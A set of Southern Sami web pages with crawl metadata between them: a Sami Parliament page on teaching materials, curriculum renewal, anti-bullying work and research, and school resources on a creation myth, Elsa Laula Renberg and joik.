2015-2018 våaromem vadta dejtie fïerhten jaepien prioriteradimmide learoevierhtieevtiedimmien bïjre. Bertemh, gïehtelimmieh jïh privaate institusjovnh jïh jeatjah byjresh maehtieh dåarjoem åadtjodh juktie sïejhme jïh sjïere sjïehteladteme learoevierhtieh evtiedidh maadthlïerehtæmman. Maahta dåarjoem vedtedh orreevtiedæmman, baaltelåhkoeh, orretrygkeme, staeriedimmie daaletje learoevierhtijste, lissiebiehkieh jallh lissiehtimmie learoevierhteste\/learoevierhkeste.\nLearoevierhtiejarnge\nLearoevierhtiejarngen akte våarhkoe gaajhki saemien learoevierhtiejgujmie\/ lïerehtimmievierhtiejgujmie noerhte-, julev- jïh åarjelsaemien gïelesne mah leah bæjhkoehtamme jaepiej tjïrrh, jïh mah iktemearan olkese båetieh. Vuesiehtimmien gaavhtan tjoejegærjah, plakaath, daabloeh, nossemespïelh, musihke, heamturepaahkh (soptsestimmiepaahkh) jïh filmh. Learoevierhtiejarnge gaajhkem namhtah löönede maanagïertide, skuvlide, studentide jïh aaj mubpide.\nBïevnesh vierhtiej bïjre aaj learoevierhtieportaalesne Ovttas|Aktan|Aktesne gååvnesieh. Gåarede vierhtide löönedh nedteportaalen baaktoe www.ovttas.no, learoevierhtiejarngesne guessine mïnnedh jallh gaskesadtedh tellefovnesne 78 48 42 22. Learoevierhtiejarnge lea gaahpode gaajhkh biejjieh ts. 09.00-15.00\nSaemien learoevierhtieportaale Ovttas|Aktan|Aktesne lea bïevnesh tjöönghkeme saemien learoevierhtiej bïjre. Datne gaavnh guvvieh, gærjah, filmh, tjoejh, lïerehtimmiematerijellem jïh digitaale vierhtieh, tjaalegh jïh tjaatsegh mah maehtieh datnem viehkiehtidh lohkehtæjjine årrodh saemien skuvline. Learoevierhtiejarnge laavenjostoe Saemiedigkien learoevierhtiejarngine löönedimmien bïjre vierhtijste.\nSametingets handlingsplan for utvikling av læremidler 2015- 2018\nMaadthlïerehtimmie\nSaemien gïele, kultuvre jïh aerpievuekien daajroe leah vihkeles aarvoeh saemien maadthlïerehtimmesne. Vihkeles saemien maanah jïh noerh åadtjoeh jïjtsh gïelem lïeredh, jïjtse gïelesne lïeredh, saemien siebriedahkejieleden, histovrijen jïh aerpievuekiej bïjre lïeredh abpe 13-jaepien skuvletïjjen maadthskuvlesne jïh jåarhkeskuvlesne. Daate saemien maanaj jïh noeri identiteetem nænnoestahta, dej aktem jearsoes viedteldimmiem jïjtsh kultuvresne vadta jïh dah goerkesem åadtjoeh dah leah akte bielie aktede stuerebe ektiedimmeste goh saemieh jïh aalkoealmetjh.\nMaadthlïerehtimmie lea abpe 13- jaepien skuvletïjje, maadthskuvle jïh jåarhkelïerehtimmie. Saemien learohkh maadthlïerehtimmesne reaktoem utnieh saemien lïerehtimmiem åadtjodh. Saemien lïerehtimmiem lea:\n- saemien gïelelïerehtæmman\n- reaktoe lïerehtæmman saemiengïelesne\n- reaktoe lïerehtæmman saemien learoesoejkesjevierhkien mietie\nGaajhkh saemien maanah jïh noerh reaktoem utnieh saemien lïeredh, mejtie byögkeles maadthskuvlesne jallh jåarhkeskuvlesne Nöörjesne vaedtsieh. Reaktoeh lïerehtæmman saemien gïelesne jïh saemien learoesoejkesjen mietie leah vielie gaertjiedamme, jïh eah leah faamosne gaajhkide learoehkidie daan biejjien. Maahtah vielie saemien maanaj jïh noeri reaktaj bïjre lohkedh nedtesæjrojne daesnie:Norges nasjonale institusjon for menneskerettigheter (Nöörjen nasjonaale institusjovne almetjereaktide)\nSkuvleaajhtere, daate sæjhta jiehtedh tjïelte jallh fylhkentjïelte mij dïedtem åtna saemien lïerehtæmman sjïehteladtedh. Dan bïjre maahtah vielie lohkedh daesnie: saemien lïerehtimmie.\nSaemiedigkien lea faamoe laaken mietie learoesoejkesjh evtiedidh faagesne saemien jïh jeatjah saemien faagine. Saemiedigkien aaj faamoe saemien sisvegem vihtiestidh saemien, parallelle learoesoejkesjinie jïh sïejhme learoesoejkesjinie mah åtnasuvvieh skuvlijste Nöörjesne. Dan bïjre maahtah vielie lohkedh daesnie: learoesoejkesjh.\nSaemiedigkien lea dïedte saemien learoevierhtieh evtiedidh. Dan bïjre maahtah vielie lohkedh daesnie: dåarjoe evtiedæmman learoevierhtijste.\nJeatjah viehkiedïrregh mejtie Saemiedigkie åtna juktie saemien maadthlïerehtimmiem eevtjedh:\n• Stipende learoehkidie mah saemien veeljieh jåarhkeskuvlesne\n• aerpievuekien daajroe jïh saemien miehtjieåtnoe maadthskuvlesne\n• stipende jollebe ööhpehtæmman mah aaj leah faamosne studentide mah saemien lohkehtæjjaööhpehtimmiem jallh jollebe ööhpehtimmiem vaeltieh åarjel-, julev- jallh noerhtesaemien gïelesne\nMaahtah vielie gaavnedh Saemiedigkien barkoen jïh prioriteradimmiej bïjre Saemiedigkien bïevnesisnie lïerehtimmien jïh ööhpehtimmien bïjre jïh Saemiedigkien budsjedtesne.\nUtredning. Kommunereformen og samiske interesser\nSametingsmelding om opplæring og utdanning\nFaageorrestimmie\nLearoesoejkesjevierhkie Maahtoelutnjeme jïh Maahtoelutnjeme – saemien edtja orrestovvedh.\nGaajhkh learoesoejkesjh maadthskuvlesne jïh sïejhme learoesoejkesjh jåarhkelïerehtimmesne edtjieh orrestovvedh. Faagh edtjieh sjïehteleslåbpoe sisvegem, tjïelkebe prioriteradimmieh jïh progresjovnem åadtjodh, jïh ektiedimmie faagi gaskem edtja buerebe sjïdtedh. Laejhtehks ussjedimmie jïh ussjedadteme edtjieh akte vihkeles bielie årrodh destie maam learohkh edtjieh skuvlesne lïeredh.Sjugniedihksvoete jïh lïeremestrategijh leah aaj vihkeles, jïh praktihkeles jïh estetihkeles faagh edtjieh nænnoesåbpoe sjïdtedh.\nMaahtoeulmieh jïh vihkielommes tjiehpiesvoeth edtjieh annje sisveginie årrodh learoesoejkesjisnie. Aarvoevåarome bijjemes bielesne edtja learoesoejkesjinie tjåadtjodh. Golme dåaresthfaageles teemah edtjieh meatan vaaltasovvedh gaajhki faagi sïjse: Demokratije jïh meatanårrojevoete, monnehke evtiedimmie jïh almetjehealsoe jïh jieledehaalveme.\nFaageorrestimmesne edtja gïengelelïeremem prioriteradidh.\nBarkoe faageorrestimmine joe juhtieminie, jïh orre learoesoejkesjh edtjieh gaervies årrodh tjaktjen 2020.\nFaageorrestimmie lea golme boelhkine juakeme:\nVoestes boelhke (2017-2018): Gaavnehtidh mij lea vihkielommes maam learohkh edtjieh maehtedh fïerhtene faagesne, jarngebiehkieh evtiedidh.\n- Jarngebiehkieh evtiedidh faagine, mah leah gaajhken bïjre maam learohkh tjuerieh lïeredh juktie maehtedh faagem haalvedh, jïh dam vihkielommes sisvegem learohkh edtjieh lïeredh, vihkeles dïejvesh, vuekieh, ussjedimsvuekieh, daajroesuerkieh jïh smaaregehammoeh faagesne.\n- Gaavnehtidh guktie aarvoevåarome jïh bijjemes bielie edtja meatan vaaltasovvedh faagine.\n- Gaavnehtidh guktie doh vihkielommes tjiehpiesvoeth jïh dåaresthfaageles teemah edtjieh meatan vaaltasovvedh faagine.\n- Learoesoejkesjestruktuvrem guhkiebasse evtiedidh\n- Njoelkedassh darjodh barkose learoesoejkesjeevtiedimmine.\nMubpie boelhke (2018-2019): Learoesoejkesjh jïh bïhkedimmie- jïh dåarjoevierhtieh evtiedidh. Bijjemes bielie jïh jarngebiehkieh edtjieh våaromem bïejedh soejkesjidie. Bijjemes bielie – aarvoeh jïh prinsïhph leah vihtiestamme, men ij faamoem åådtjeme.\nDåehkieh edtjieh tjåanghkan bïejesovvedh mah edtjieh learoesoejkesjidie evtiedidh. Almetjh learoesoejkesjedåehkide raeriestidh.\nBïhkedimmie- jïh dåarjoevierhtieh edtjieh dorjesovvedh skuvline jïh dejgujmie ektine mah learoesoejkesjigujmie berkieh sijjen aarkebiejjien. Dellie tjuara daejredh mah daerpiesvoeth skuvlh utnieh daennie ektiedimmesne.\nGåalmede boelhke (2019-2020): Learoesoejkesjh edtjieh illesovvedh. Skuvlh, skuvlen aajhterh jïh lohkehtæjjaööhpehtimmieinstitusjovnh edtjieh ryöjredidh learoesoejkesjidie åtnose vaeltedh. Ööhpehtimmiedirektoraate aktem ræhpas prosessem veeljeme learoesoejkesjeorrestimmien sjïekenisnie. Gaajhkesh maehtieh prosessem fulkedh jïh vuajnoejgujmie\/lahtestimmiejgujmie båetedh mearan daate barkoe juhtieminie.\nBarkoe irhkemen vööste\nSaemiedigkieraerie sæjhta irhkemem giehpiedidh. Mijjen mïelen mietie gaajhkh maanah jïh noerh reaktam utnieh byjjenimmiem jïh lïeremebyjresh utnedh gusnie irhkeme jïh trïegkenasse eah gååvnesh. Dan åvteste sïjhtebe barkoem lissiehtidh irhkemen vööste skuvline, maanagïertine, astoeaejkiesijjine jïh kraannaj gaskemsh. Daate dovne noeri jïh geerve almetji dïedte.\nMaam darjoeh gosse irhkemem vuajnah? Aelhkemes lea rudtjem dan vööste jarkedh, ov goh ij dam vuejnieh. Ussjedidh: gie akt byöroe dan bïjre bïeljelidh. Datne lea dïhte «gie akt». Soptsesth lohkehtæjjese, saavrehtæjjese jallh jeatjah geerve almetjasse. Jallh dagke maahta ryöktesth jiehtedh dïsse mij irhkie?\nTjuara irhkemem tjöödtjestidh\nBarkoe irhkemen vööste ij naan aarvoem utnieh jis ij låhkoem giehpedh dejstie maanijste, noerijste jïh geerve almetjijstie mah irhkemem jïh trïegkenassem dååjroeh. Mijjieh daejrebe daate skuvlesne, skuvlegeajnosne, gåårvedstjiehtjielisnie jïh astoeaejkien darjoeminie sjugniehtåvva. Desnie gusnie almetjh fealedeminie.\nViehkie jïh bïhkedimmie\nDaesnie viehkiem jïh skraejriem gaavnh barkosne irhkemen jïh trïegkenassen vööste:\nDotkeme jïh jollebe ööhpehtimmie\nDotkeme jïh dåarjelimmie jollebe ööhpehtimmesne leah vihkeles vaarjelimmien, nænnoestehtemen jïh evtiedimmien gaavhtan saemien siebriedahkeste. Saemiedigkie vuajna daerpies dotkemebaseradamme daajrojne reeremisnie jïh politihkeles evtiedimmmesne. Vihkeles saemien guhkiebasse evtiedidh goh dotkemegïele\nAaj vihkeles sjïehteladtedh jïh skraejriem vedtedh jieniebidie saemide dotkijinie sjïdtedh jïh jïjtse siebriedahkesne dotkedh, jïh aaj sisvegem åadtjodh saemien tsiehkiej bïjre\/saemien gïelesne dejnie profesjovneööhpehtimmine mah joe gååvnesieh jïh dejnie mah båetije aejkien båetieh.\nSaemiedigkien politihke sæjhta saemien tsevtsemefaamoem jïh perspektijvem gorredidh dotkemisnie jïh jollebe ööhpehtimmesne sjyöhtehke moenehtsinie, ståvrojne jïh raerine. Gosse lïhtsegh raereste jïh nammohte dle Saemiedigkie gegkeste saemien ïedtjh gorredidh DjE-suerkesne.\nSaemiedigkie vïhtesjæjjastatusem åtna programmeståvrosne saemien dotkemasse Nöörjen dotkemeraeresne. Programmen bijjemes ulmie lea saemien dotkemem nænnoestehtedh, dovne kvaliteeten jïh daejremes kvaliteeten bïjre. Saemiedigkie ulmine åtna aktem staeries lïhsegem nammoehtidh Nöörjen dotkemeraerien ståvrose juktie saemien siebriedahken dotkemedaerpiesvoetem gorredidh.\nSaemiedigkie lea nammoehtamme Gunn-Britt Retter jïh Roger Skarvik goh ståvroelïhtsegh Saemien jïlleskuvlesne boelhken 2015-2018. Persovneles sæjjasadtjh leah Outi Susanne Länsman jïh Ánde Somby.\nRegijonaale dotkemefoenth\nSaemiedigkie tjirkijh åtna foenteståvrosne regijonaale dotkemeraeride Noerhte-Nöörjesne jïh Gaske-Nöörjesne Noerhte-Nöörjen foenteståvrosne påastedåaktere Nord universiteetesne Astrid Dankertsen ståvroelïhtsege jïh prorektovre Line Kalad Saemien jïlleskuvlesne lea sæjjasadtje.\nFoenteståvrosne Gaske-Nöörjese saemiedigkietjirkije Nora Marie Bransfjell ståvroelïhtsege jïh Sigbjørn Dunfjeld lea sæjjasadtje.\nSaemiedigkie raeriestimmiereaktam åtna ståvroelïhtsegidie ståvrose UiT Nöörjen Arktihkeles universiteetesne.\nLissine Saemiedigkien akte lïhtsege nöörjen UNESCO-kommisjovnesne. Lars Andreassen lea tjirkije daan boelhken.\nFaagestrategeles ektievoete saemien ööhpehtæmman\nTseegkeme aktede dagkeres ektievoeteste lea akte bielie juktie bæjjese fulkedh doh juvnehtimmieh Butenschøn-reektehtsisnie \"Langs lange spor\" jaepeste 2012. Saemiedigkieraerie lea rååresjadteme jïh soptsestalleme Maahtoedepartemeentine mearan barkoe jåhteme jïh lea madtjeles ihke ektievoete daelie lea tseegkeme jïh lea akte bielie Universiteete- jïh jïlleskuvleraereste. Ektievoete konstitueradamme sjïdti 19.03.2015. Saemiedigkie vïhtesjæjjam åtna ektievoetesne.\nAvtehke: Else Grete Broderstad, Universiteteete Romsesne, mubpieåvtehke: Jelena Porsanger, Saemien jïlleskuvle\nLïhtsegh: Kirsti Strøm Bull, Universiteete Oslosne, Sonni Olsen, Universiteete Romsesne, Johan Strömgren, Saemien jïlleskuvle, Per Ravna, Universiteete Nordlaantesne, Åshild Karevold, Noerhte-Trööndelagen jïlleskuvle, jïh Mikkel Rasmus Logje, Saemien jïlleskuvle.\nSaemiedigkiebïevnese jollebe ööhpehtimmien jïh dotkemen bïjre","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/saemiedigkie.no\/Dienesjh2\/Lierehtimmie-jih-learoevierhtieh","date":"2019-05-25T20:54:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258451.88\/warc\/CC-MAIN-20190525204936-20190525230936-00347.warc.gz","language":"sma","language_score":1.0000052452,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 1.0000052452087402}","num_words":1506,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.181,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptsese lea gærjeste \"Staaloeh vienhtieh aske lea dålle\" maam Kirsti Birkeland tjaaleme. Ella Holm Bull lea tjaalegem åarjel-saemien gïelese jarkoestamme.\nDïhte gollehke tïjje jïh guktie dïhte nåhki\nDellie goh Jupmele eatnemem sjugniedi, dellie dam gaajhkelaakan dan hijven jïh tjaebpies darjoeji. Vaerieh gullijste jïh sïlpijste gåårveldihkie sjïdtin. Vuemine blommah sjïdtin, jïh ledtieh gaajhkem lehkiem vijhtsierdin. Skåajjesne lij fïerhte plaerie verries jïh kruana, jïh idtji akte boelneme åeksie gænnah vååjnh.\nBeapmojste lij nuekie: Moerh idtjin barre muerjieh guedtieh, åeksine voessjemes-bearkoeh jïh vuastah sjïdtin, jïh abpe moere lij jïrremisnie. Veljie lij muerjijste jïh gaaltijinie lij sieties mielhkie. Jeanojne jïh johkine lij veljie guelijste. Destie mestie daarpesji lij barre vaeltedh. Idtji guhte daejrieh mij annje barkoe lij.\nJupmele eatnemem Beajjan vedti, elties baarnan, jïh dellie dam stilli edtji eatnemem jïjtse elmien sijjeste geehtedh. Dagkoe gogkoe biejjie reerie dagkoe tjuara jemhkelde gaajedidh. Ij leah tjåetskeme, ij leah jïjje, ij leah sårkoe.\nDaennie hearlohke eatnamisnie ligan göökte vïelletjh årroeminie. Dïhte guhtseles jïh buerie Njaevie, jïh Hatsve, mij lij haerhpies-ligke jïh gaahtsehks jïh idtji jieliedisnie skaamoem utnieh. Soptsestieh Biejjie Njaeviem dan lyjhki guktie jïjtse nïejtem dïsse gåmmine vedti gïen nomme lij Njaevies-ietnie. Hatsve åadtjoeji dam gie dïsse bööremes sjïehti, Hatsves ietnie. Dïhte aajmoste bööti jïh gaajhki skïemtjelassi bijjelen reeri. Skïemtjelasside voessese rijti jïh meatan veelti. Eatnamisnie lij gaajhkeste veljie, jïh almetjh lin gaajhkem åådtjeme ij annje mestie.\nAeblehts-voete bahhas-voetem eelie, jïh akten biejjien dellie gaahtsehks-voete Hatsven vaajmosne fahkaji: Sïjhti laantem eakadidh, jïh giedtiem jïjtse eeken bïjre tseegkedh. Njaevien gåajkoe veedtsi jïh jeehti:\n- Daam laantem monnen gaskoeh juekien, guktie fïereguhte monneste bieliem åadtjoen eakadidh.\n- Mannasinie? Njaevie gihtjie, - daesnie lea gaajhkeste nuekies, jïh reaktoe lea gaajhkem ektesne utnedh.\nIdtji Hatsve dïsse mietieh, jïh minngemes die Njaevie baaji åadtjodh guktie sïjhti. Man guhkiem dellie Hatsve tuhtji satne vaeniem åådtjeme. Dellie giedtiem guhkiebasse Njaevien eeken bealan juhtiehti. Idtji Njaevie maam jiehtieh. Dïhte ajve baaji. Ånnetji die Hatsve vihth giedtien bijjelen vïjleli. Utni gaajhke mij Njaevien, lij satneste sagke buerebe. Jïh dellie vihth giedtiem vïelleben eekese sagke guhkiebasse juhtiehti.\nIdtji dïhte faepeles Njaevie annje vïellebinie sïjhth traakestidh. - Ussjedi, varke sån lea nuekies åådtjeme. Idtji daan aejkien gænnah maam jiehtieh, baaji vïellebem utnedh gaajhkem maam lij vaalteme. Minngemes die lij Njaevien ajve dïhte akte mielhkie-gaaltije jïh gööth-sijjie aajmene. Dellie Hatsven bijjelen jemhkele öövre bööti, idtji vielie vïellebasse maam ånnedh, jïh dellie aevsiem veelti jïh vïellebem dejnie tseepmi jïh åemiedi. Dennie mieresne dellie alvas stadtjoe, hojhkesje skåajjesne loeveni. Baektie-speanjoen vööste alvas gaaje govlesovvi jïh jemhkele tjoevkesem jamhkeli.\nBïerje-gaskijste, gollijste, svaalkijste, pluevijste, tjonnijste jïh jaevrijste isveligke gaagkoeh labjin. Hatsves-ietnie föörhkedi jïh voessem ohtsedi gusnie dah skïemtjelassh. Dellie voessem noeli jïh gaajhkide skïemtjelasside eatnemen bijjelen snjipki. Ånnetji dellie jaemede tjaetseste hopsi jïh sårkoe skåajjeste. Idtjin ledtieh åajsoeh haeliehtidh, jïh guelieh tjåejjine bæjjese vïelhterdin. Almetjh eelkin dåårijadtedh. Gaarmanæjjah bïjre jarkan skaamoehtimmien svïmtjerdin, jïh nyjsenæjjah jïjtsh maanide åemiedin.\nEah lin almetjh ræjhkoes jïh buerie biejjieh töölleme dellie goh gaajhkem idtjin annje mestie åadtjoeh. Biejjie jårrehtalli jïh tjearoeji.\nGoh Jupmele vööjni maam Hatsve dorjeme, dellie dan hujnesne jïh haarmesne sjïdti. Eah lin elties vadtesh almetjidie buerie-sjugniedassese sjïdteme.\nJupmele eatnamasse mïnni. Dehtie minngemes gaaltijistie mielhkiem veedtji,dehtie minngemes moereste bearkoem jïh dehtie minngemes johke-håangkeste gueliem. Daelie sïjhti vadtesidie vöörhkedh guktie idtji edtjh gïeh dejstie maam åadtjodh gosse idtjin tjarke barkh. Jupmele vaeride marngi, gullide jïh sïlpide gierkien nualan vöörhki. Bearkoem don daan juvren bullese joekedi, jïh ohtje mealhketjem don daan askan joekedi. Guelide voejehtahkh vedti mejgujmie voejedh. Gaajhkide asvedimmiem vedti guktie edtjin almetjijstie bïlledh jïh dejstie maehtedh baataradtedh. Nimhtie dellie geerve almetjidie sjïdti. Daalatjijstie tjoerin barkedh tjïskesidh jis edtjin bïerkenidh.\nJupmele læjhkan sïjhti almetjh edtjin Njaeviem jïh dam gollehke tïjjem mujhtedh. Dannasinie baaji sarvan skaavtjoeh guhkies sjïdtedh jïh Njaevien nommem guedtedh. Ij leah mij gænnah dan bïjveles jïh möövhkes goh dah njaevie-goelkh. Njaevie-goelkide gïerhkeme-maanan ravvetjen nualan biejieh guktie edtja möövhkes, njaelkie, bïjvele årrodh.\nJïh Jupmele luhpiedi jis almetjh sjïdtin seamma-laakan goh Njaevie, die edtji dïhte buerie tïjje bååstede båetedh, jïh gaajhke edtji goh aerebi sjïdtedh, aerebi goh Jupmele eatnemem marngi. Biejjie elties elmien sijjeste eatnemem geehtie. Dan guhkiem guktie biejjie guaka lea mijjen håhkoe.\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\n- Kjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\nRiepieKjernestoff\nStaaloej bïjreKjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\nAkte staaloe mij dakterem utniKjernestoff\nStaaloe jïh åerpienadtjhKjernestoff\nNjeevetje-ietnie jïh RovhtegeKjernestoff\nSaajve-jaevresne gööleminieKjernestoff\nSaemie saajvi luvnieKjernestoff\nBïerneKjernestoff\nSaemien jïh boelt-aajjan dååjvehtseKjernestoff\nDuvrien-ålmaKjernestoff\nBiejjien nïejteKjernestoff\nKlies KliemmetKjernestoff\nNahkoergöörnjen giebnieKjernestoff\nNahkoergöörnjen jaememeKjernestoff\nSjeltien nåejtieKjernestoff\nTjuvrieKjernestoff","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:129913","date":"2019-05-23T20:02:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257361.12\/warc\/CC-MAIN-20190523184048-20190523210048-00347.warc.gz","language":"sma","language_score":0.9999690056,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999690055847168}","num_words":779,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Elsa Laula Renberg lij politihkere jïh tjaelije. Dan gïele ennje vihkeles. Laula Renberg saemiepolitihkeles aamhtesigujmie barki. Elsa Laula Renberg lij politihkere jïh tjaelije. Dan gïele ennje vihkeles. Laula Renberg saemie-politihkeles aamhtesigujmie barki.\nElsa Laula\nElsa Laula reakadi rahkan 29.b. 1877 Jïjnjesovvenisnie (Storsele), Vualtjeren dajvesne, jïh dïhte snjaltjen 22.b. 1931 Brønnøysundesne gåbloe-gossehtahkesne sealadi. Dïhte lij båatsoe-saemie, organisasjovne-tseegkije, aktiviste, tjaelije jïh politihkere. Dïhte lij meatan voestes saemie-siebriem, Lapparnas Centralförbund, tseegkedh jaepien 1904.\nMïetsken 1904 dan tjaalege «Inför lif eller död: Sanningsord i de lapska förhållandena» bööti. Tjaalegen 30 sæjroeh jïh Laula vihkeles saemien aamhtesi bïjre tjeeli, v.g. saemieh edtjieh dej skaehtie-laantide eekedh jïh saemien-gïelem skuvlesne lohkedh. Laula sveerjen-gïelesne tjeeli guktie dah daatjh edtjin dam guarkedh.\nNöörjese juhti\nElsa Laula jaepien 1908 Tomas Peder Tovenine pruvri, hïejen mænngan dah guaktah minngie-nommem Renberg veeltigan.\nElsa siebriem Brurskanken Lappkvindeforening jaepien 1910 (Brovresen Saemienyjsenesiebrie) tseegki. Siebrie lij voestes saemien nyjsene-siebrie mij nyjseni aamhtesigujmie barki. Daate lij åvtelen nöörjen nyjsenæjjah steemme-reaktam åadtjoejin. Dej beeli daaroedehteme saemiej vööste lij tjarke, jïh idtjin nyjsenæjjah byörh fer jïjnjem vååjnesasse båetedh.\nElsa Laula Renberg jïh doh mubpieh åarjel-saemien nyjsenæjjah lin naakenh mijjen åvte-nyjsenæjjijste dovne saemiej jïh nyjsenæjjaj reaktaj åvteste. Dejtie lij eevre vihkeles saemien ålmah jïh nyjsenæjjah tjoerin ektesne tjåadtjodh laante-raastaj dåaresth jis edtjin lyhkesidh gæmhposne jieliemassem jïh saemien kultuvrem gorredidh. Laula Renberg lij meatan voestes saemien rïjhke-tjåanghkoem Tråantesne öörnedh, goevten 6.b. 1917.\nLaavenjassh: Don aejkien vaarjoej bïjreKjernestoff\nLaavenjassh: Tïjjen 1965 åvtelenKjernestoff\nLaavenjassh: Biejjie-baernieKjernestoff\nLaavenjassh: Johan Turin tjaalegidieKjernestoff\nTjaelieh ussjeden tjaalegemKjernestoff\nLaavenjasse Elsa Laulan bïjreKjernestoff\nLaavenjassh Elsan håalemasseKjernestoff\nÅehpiedehtieh saemien-faageles teemamKjernestoff\nLaavenjassh: GuldnasasKjernestoff\nLaavenjassh: Såångedidh jïh pruvredhKjernestoff\nMåersie faavroeKjernestoff\nSoelege jih nåejtieKjernestoff\nDon aejkien vaarjoej bïjreKjernestoff\nBiejjie-baernien såangoeKjernestoff\nBiejjie-niejten sealadimmieKjernestoff\nVaajese juvri bïjreKjernestoff\nMaana-sujhtemen bïjreKjernestoff\nSaemien tsiehkiej bïjreKjernestoff\nDej baaletje såangoeKjernestoff\nKaarre mij edtji vïjvem veeljedhKjernestoff\nSåångedimmie jïh hïejeKjernestoff\nÅenehks soptseshKjernestoff\nGuldnasasKjernestoff","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189078\/resource:1:186338","date":"2019-05-20T12:11:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232255943.0\/warc\/CC-MAIN-20190520101929-20190520123929-00274.warc.gz","language":"sma","language_score":0.9994915128,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9994915127754211}","num_words":282,"character_repetition_ratio":0.115,"word_repetition_ratio":0.029,"special_characters_ratio":0.148,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemieh hov iktegisth joejkeme lea raajese maam gellien aejkien goltelamme. Daelie edtjebe goerehtidh mij lea joejkedh? Edtjebe saemien musihken histovrijem, åtnoem jïh ulmiem goerehtidh dejnie aerpievuekien vueline goh våarome.\nJoejkedh, hov lea vuelieh laavlodh\nSaemien aerpievuekien musihke-hammoe lea joejkedh, mij vokaalen musihke-hammoe. Aerpie-vuekien mietie, saemien siebriedahkesne jïh kultuvresne, joejkeme dovne lidteratuvre jïh musihke. Joejke iktegisth sjïere sijjiem åtneme, dovne goh identiteete-markööre jïh nåejtien musihke båeries jaahkosne. Joejkedh aaj vuekie almetjh jïh heannadimmieh mujhtedh. Vuelie joekoen båeries njaalmeldh sjangere. Joejken gellielaaketje, dovne hammoe jïh sisvege, jïh sijjeste sæjjan joekehtahta Saepmesne. Aerpievuekien mietie dan seamma funksjovnem åtna gaajhkene lehkesne. Joejkh almetji bïjre tjïelke sosialiseereme-funksjovnem utnieh. Gosse joejkem åådtje dellie almetje dan jïjtse individualiteete åådtje jïh jïjtjeraarehke almetjinie ektievoetesne sjædta. Identifikasjovne-faktore lea almetjen nomme tonigujmie.\nJoejkh eatnemen bïjre\nSaemieh ovmessie sijjieh eatnamisnie juejkieh. Kaanne dah sijhtieh sijjiem earoehtidh juktie desnie dan hijven gåatome, aales jallh tjaebpies. Kaanne kraejhpies laante gusnie tjuara våårege-laakan juhtedh. Aejlies sijjie, vaerie jallh dajve aaj joejkh utnieh.\nJoejkh heannadimmiej bïjre\nSaemieh aaj sjïere heannadimmiej bïjre juejkieh. Dellie dah mujhtieh mij heannadamme jïh dellie heannadimmieh mojhtesisnie vöörhkesuvvieh.\nVuelien jallh joejken baakoej bïjre\nÅarjelsaemieh vueliem juejkieh. Vuelie lea laavlome mah saemieh vaajestieh. Gååvnese gellie baakoeh guktie joejkedh. Joejkedh dellie datne joejkh. Gåessie aalkah joejkedh dellie jiehtebe joejkijahtjedh, joejkijidh jallh joejkijïhtjedh. Jis væjkele joekedh dellie datne joejkeles. Jis ajve onn'ohtje joejkebe, dellie mijjieh maehtebe joejkedalledh, joejkedidh jallh joejkestidh. Jis måarehke jallh buasjehke gosse joejkebe dellie maehtebe aejvierdidh jallh aajvardalledh. Voeledh jïh joejkedh leah plïere-baakoeh. Jis håjnan dellie datne aajverdsvueliem aejvierdimmine voelh. Jis sïjhth gïem jallh maam akt jaskoehtidh dellie datne edtjh ennehtidh. Gååvnese aaj vuesiehtimmien gaavhtan skromhpe-vuelieh jïh duvrien-vuelieh. Jis datne gaajhkem maahtah dellie datne vualijes jïh vuelie-tsïemehke.\nLaavenjassh båeries joejke-teeksteseKjernestoff\nJoejken aarvoe åvtesne jïh daelieKjernestoff\nAerpievuekien maahtojne joejkedhKjernestoff\nJoejke daelieKjernestoff\nVuelie, vuolle, luohti jïh leuddKjernestoff\nLaavenjassh: Joejkemen bïjreKjernestoff\nLaavenjassh: Åvlavuelien råantjoehKjernestoff\nLaavenjasse: Joejkeme 